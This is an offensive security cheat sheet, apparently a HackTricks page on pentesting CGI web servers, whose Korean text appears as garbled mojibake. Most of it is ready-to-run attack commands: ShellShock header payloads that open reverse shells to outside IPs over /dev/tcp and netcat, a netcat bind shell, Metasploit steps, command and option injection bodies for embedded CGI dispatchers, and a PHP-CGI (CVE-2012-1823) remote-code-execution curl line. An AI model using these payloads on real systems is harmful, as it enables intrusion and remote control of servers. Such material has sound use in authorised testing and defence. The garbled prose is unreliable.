CGI Pentesting

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

์ •๋ณด

The CGI scripts are perl scripts, so, if you have compromised a server that can execute .cgi scripts you can upload a perl reverse shell (/usr/share/webshells/perl/perl-reverse-shell.pl), change the extension from .pl to .cgi, give execute permissions (chmod +x) and access the reverse shell from the web browser to execute it. In order to test for CGI vulns itโ€™s recommended to use nikto -C all (๋ฐ ๋ชจ๋“  ํ”Œ๋Ÿฌ๊ทธ์ธ)

ShellShock

ShellShock์€ Unix ๊ณ„์—ด ์šด์˜์ฒด์ œ์—์„œ ๋„๋ฆฌ ์‚ฌ์šฉ๋˜๋Š” Bash ๋ช…๋ น์ค„ ์…ธ์— ์˜ํ–ฅ์„ ๋ฏธ์น˜๋Š” ์ทจ์•ฝ์ ์ž…๋‹ˆ๋‹ค. ์ด ์ทจ์•ฝ์ ์€ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด ์ „๋‹ฌํ•œ ๋ช…๋ น์„ Bash๊ฐ€ ์‹คํ–‰ํ•˜๋Š” ๊ธฐ๋Šฅ์„ ๋ชฉํ‘œ๋กœ ํ•ฉ๋‹ˆ๋‹ค. ์ทจ์•ฝ์ ์€ ํ”„๋กœ์„ธ์Šค ์‹คํ–‰ ๋ฐฉ์‹์— ์˜ํ–ฅ์„ ์ฃผ๋Š” ๋™์  ์ด๋ฆ„-๊ฐ’์ธ ํ™˜๊ฒฝ ๋ณ€์ˆ˜(environment variables) ์กฐ์ž‘์— ์žˆ์Šต๋‹ˆ๋‹ค. ๊ณต๊ฒฉ์ž๋Š” ํ™˜๊ฒฝ ๋ณ€์ˆ˜์— ์•…์„ฑ ์ฝ”๋“œ๋ฅผ ์ฒจ๋ถ€ํ•˜๊ณ , ํ•ด๋‹น ๋ณ€์ˆ˜๋ฅผ ์ˆ˜์‹ ํ•  ๋•Œ ์ฝ”๋“œ๊ฐ€ ์‹คํ–‰๋˜๋„๋ก ํ•˜์—ฌ ์ด๋ฅผ ์•…์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋ฅผ ํ†ตํ•ด ์‹œ์Šคํ…œ์„ ์†์ƒ์‹œํ‚ฌ ๊ฐ€๋Šฅ์„ฑ์ด ์žˆ์Šต๋‹ˆ๋‹ค.

์ด ์ทจ์•ฝ์ ์„ ์•…์šฉํ•˜๋ฉด ํŽ˜์ด์ง€๊ฐ€ ์—๋Ÿฌ๋ฅผ ๋ฐœ์ƒ์‹œํ‚ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ด ์ทจ์•ฝ์ ์„ ์ฐพ์œผ๋ ค๋ฉด ํ•ด๋‹น ์„œ๋ฒ„๊ฐ€ old Apache version๊ณผ cgi_mod (with cgi folder)์„ ์‚ฌ์šฉํ•˜๊ณ  ์žˆ๋Š”์ง€ ํ™•์ธํ•˜๊ฑฐ๋‚˜ nikto๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด ๋ฉ๋‹ˆ๋‹ค.

ํ…Œ์ŠคํŠธ

๋Œ€๋ถ€๋ถ„์˜ ํ…Œ์ŠคํŠธ๋Š” echo ๋ช…๋ น์œผ๋กœ ๋ฌด์–ธ๊ฐ€๋ฅผ ์ถœ๋ ฅํ•˜๊ณ  ๊ทธ ๋ฌธ์ž์—ด์ด ์›น ์‘๋‹ต์— ๋ฐ˜ํ™˜๋˜๋Š”์ง€ ํ™•์ธํ•˜๋Š” ๋ฐฉ์‹์ž…๋‹ˆ๋‹ค. ํŠน์ • ํŽ˜์ด์ง€๊ฐ€ ์ทจ์•ฝํ•  ์ˆ˜ ์žˆ๋‹ค๊ณ  ์ƒ๊ฐ๋˜๋ฉด ๋ชจ๋“  cgi pages๋ฅผ ์ฐพ์•„ ํ…Œ์ŠคํŠธํ•˜์„ธ์š”.

Nmap

nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi

Curl (reflected, blind and out-of-band)

# Reflected
curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE'
# Blind with sleep (you could also make a ping or web request to yourself and monitor that oth tcpdump)
curl -H 'User-Agent: () { :; }; /bin/bash -c "sleep 5"' http://10.11.2.12/cgi-bin/admin.cgi
# Out-Of-Band Use Cookie as alternative to User-Agent
curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.10.10/4242 0>&1' http://10.10.10.10/cgi-bin/user.sh

Shellsocker

python shellshocker.py http://10.11.1.71/cgi-bin/admin.cgi

Exploit

#Bind Shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 8
#Reverse shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.159.1 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 80
#Reverse shell using curl
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' http://10.1.2.11/cgi-bin/admin.cgi
#Reverse shell using metasploit
> use multi/http/apache_mod_cgi_bash_env_exec
> set targeturi /cgi-bin/admin.cgi
> set rhosts 10.1.2.11
> run

์ค‘์•™์ง‘์ค‘์‹ CGI ๋””์ŠคํŒจ์ฒ˜ (์„ ํƒ์ž ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ํ†ตํ•œ ๋‹จ์ผ ์—”๋“œํฌ์ธํŠธ ๋ผ์šฐํŒ…)

๋งŽ์€ ์ž„๋ฒ ๋””๋“œ ์›น UI๋Š” ํ•˜๋‚˜์˜ CGI ์—”๋“œํฌ์ธํŠธ(์˜ˆ: /cgi-bin/cstecgi.cgi) ๋’ค์— ์ˆ˜์‹ญ ๊ฐœ์˜ ๊ถŒํ•œ ์žˆ๋Š” ๋™์ž‘์„ ๋ฉ€ํ‹ฐํ”Œ๋ ‰์Šคํ•˜๊ณ  topicurl=<handler> ๊ฐ™์€ ์„ ํƒ์ž ํŒŒ๋ผ๋ฏธํ„ฐ๋กœ ์š”์ฒญ์„ ๋‚ด๋ถ€ ํ•จ์ˆ˜๋กœ ๋ผ์šฐํŒ…ํ•ฉ๋‹ˆ๋‹ค.

์ด๋Ÿฌํ•œ ๋ผ์šฐํ„ฐ๋ฅผ ์•…์šฉํ•˜๋Š” ๋ฐฉ๋ฒ•๋ก :

  • ํ•ธ๋“ค๋Ÿฌ(handler) ์ด๋ฆ„ ์—ด๊ฑฐ: scrape JS/HTML, wordlists๋กœ brute-force, ๋˜๋Š” firmware๋ฅผ unpackํ•˜๊ณ  dispatcher์—์„œ ์‚ฌ์šฉ๋œ handler ๋ฌธ์ž์—ด์„ grep.
  • ์ธ์ฆ ์—†๋Š” ์ ‘๊ทผ์„ฑ ํ…Œ์ŠคํŠธ: ์ผ๋ถ€ handlers๋Š” auth checks๋ฅผ ์žŠ์–ด๋ฒ„๋ ค ์ง์ ‘ ํ˜ธ์ถœ ๊ฐ€๋Šฅํ•จ.
  • system utilities๋ฅผ ํ˜ธ์ถœํ•˜๊ฑฐ๋‚˜ ํŒŒ์ผ์„ touch ํ•˜๋Š” handlers์— ์ง‘์ค‘: ์•ฝํ•œ validators๋Š” ์ข…์ข… ๋ช‡ ๋ฌธ์ž๋งŒ ์ฐจ๋‹จํ•˜๊ณ  ์„ ํ–‰ ํ•˜์ดํ”ˆ -์„ ๋†“์น  ์ˆ˜ ์žˆ์Œ.

์ผ๋ฐ˜์ ์ธ ์ต์Šคํ”Œ๋กœ์ž‡ ํ˜•ํƒœ:

POST /cgi-bin/cstecgi.cgi HTTP/1.1
Content-Type: application/x-www-form-urlencoded

# 1) Option/flag injection (no shell metacharacters): flip argv of downstream tools
topicurl=<handler>&param=-n

# 2) Parameter-to-shell injection (classic RCE) when a handler concatenates into a shell
topicurl=setEasyMeshAgentCfg&agentName=;id;

# 3) Validator bypass โ†’ arbitrary file write in file-touching handlers
topicurl=setWizardCfg&<crafted_fields>=/etc/init.d/S99rc

ํƒ์ง€ ๋ฐ ๊ฐ•ํ™”:

  • ์ค‘์•™ํ™”๋œ CGI ์—”๋“œํฌ์ธํŠธ์— ๋Œ€ํ•ด topicurl์ด ๋ฏผ๊ฐํ•œ ํ•ธ๋“ค๋Ÿฌ๋กœ ์„ค์ •๋œ ์ธ์ฆ๋˜์ง€ ์•Š์€ ์š”์ฒญ์„ ์ฃผ์‹œํ•˜์„ธ์š”.
  • ํŒŒ๋ผ๋ฏธํ„ฐ๊ฐ€ -๋กœ ์‹œ์ž‘ํ•˜๋Š” ๊ฒฝ์šฐ ํ”Œ๋ž˜๊ทธ ์ฒ˜๋ฆฌํ•˜์„ธ์š” (argv option injection attempts).
  • ๋ฒค๋”: ๋ชจ๋“  ์ƒํƒœ ๋ณ€๊ฒฝ ํ•ธ๋“ค๋Ÿฌ์— ๋Œ€ํ•ด ์ธ์ฆ์„ ๊ฐ•์ œํ•˜๊ณ , ์—„๊ฒฉํ•œ ํ—ˆ์šฉ๋ชฉ๋ก/ํƒ€์ž…/๊ธธ์ด๋กœ ๊ฒ€์ฆํ•˜๋ฉฐ, ์‚ฌ์šฉ์ž ์ œ์–ด ๋ฌธ์ž์—ด์„ ์ปค๋งจ๋“œ๋ผ์ธ ํ”Œ๋ž˜๊ทธ๋กœ ์ ˆ๋Œ€ ์ „๋‹ฌํ•˜์ง€ ๋งˆ์„ธ์š”.

Old PHP + CGI = RCE (CVE-2012-1823, CVE-2012-2311)

๊ธฐ๋ณธ์ ์œผ๋กœ cgi๊ฐ€ ํ™œ์„ฑํ™”๋˜์–ด ์žˆ๊ณ  php๊ฐ€ โ€œ๊ตฌ๋ฒ„์ „โ€ (<5.3.12 / < 5.4.2)์ผ ๊ฒฝ์šฐ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ์ทจ์•ฝ์ ์„ ์•…์šฉํ•˜๋ ค๋ฉด ์›น ์„œ๋ฒ„์˜ PHP ํŒŒ์ผ์— ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ์ „์†กํ•˜์ง€ ์•Š๊ณ  ์ ‘๊ทผํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค(ํŠนํžˆ โ€˜=โ€™ ๋ฌธ์ž๋ฅผ ๋ณด๋‚ด์ง€ ์•Š์•„์•ผ ํ•ฉ๋‹ˆ๋‹ค). ๊ทธ๋Ÿฐ ๋‹ค์Œ, ์ด ์ทจ์•ฝ์ ์„ ํ…Œ์ŠคํŠธํ•˜๋ ค๋ฉด ์˜ˆ๋ฅผ ๋“ค์–ด /index.php?-s์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค( -s์— ์ฃผ๋ชฉ) ๊ทธ๋ฆฌ๊ณ  ์‘๋‹ต์— ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ์†Œ์Šค ์ฝ”๋“œ๊ฐ€ ํ‘œ์‹œ๋ฉ๋‹ˆ๋‹ค.

๊ทธ๋Ÿฐ ๋‹ค์Œ RCE๋ฅผ ์–ป๊ธฐ ์œ„ํ•ด ๋‹ค์Œ๊ณผ ๊ฐ™์€ ํŠน์ˆ˜ ์ฟผ๋ฆฌ๋ฅผ ๋ณด๋‚ผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: /?-d allow_url_include=1 -d auto_prepend_file=php://input ๊ทธ๋ฆฌ๊ณ  ์‹คํ–‰ํ•  PHP ์ฝ”๋“œ๋Š” **์š”์ฒญ ๋ณธ๋ฌธ(body of the request)**์— ๋„ฃ์Šต๋‹ˆ๋‹ค. ์˜ˆ์‹œ:

curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"

vuln ๋ฐ ๊ฐ€๋Šฅํ•œ exploits์— ๋Œ€ํ•œ ์ถ”๊ฐ€ ์ •๋ณด: https://www.zero-day.cz/database/337/, cve-2012-1823, cve-2012-2311, CTF Writeup Example.

Proxy (MitM to Web server requests)

CGI๋Š” http ์š”์ฒญ์˜ ๊ฐ header์— ๋Œ€ํ•ด ํ™˜๊ฒฝ ๋ณ€์ˆ˜(environment variable)๋ฅผ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด: โ€œhost:web.comโ€œ์€ โ€œHTTP_HOSTโ€=โ€œweb.comโ€œ์œผ๋กœ ์ƒ์„ฑ๋ฉ๋‹ˆ๋‹ค.

์›น ์„œ๋ฒ„๊ฐ€ HTTP_PROXY ๋ณ€์ˆ˜๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์œผ๋ฏ€๋กœ, ๋‹ค์Œ๊ณผ ๊ฐ™์€ header๋ฅผ ์ „์†กํ•ด ๋ณด์„ธ์š”: โ€œProxy: <IP_attacker>:<PORT>โ€. ์„œ๋ฒ„๊ฐ€ ์„ธ์…˜ ์ค‘์— ์–ด๋– ํ•œ ์š”์ฒญ์„ ์ˆ˜ํ–‰ํ•˜๋ฉด, ํ•ด๋‹น ์„œ๋ฒ„๊ฐ€ ์ˆ˜ํ–‰ํ•˜๋Š” ๋ชจ๋“  ์š”์ฒญ์„ ๊ฐ€๋กœ์ฑŒ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ฐธ์กฐ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ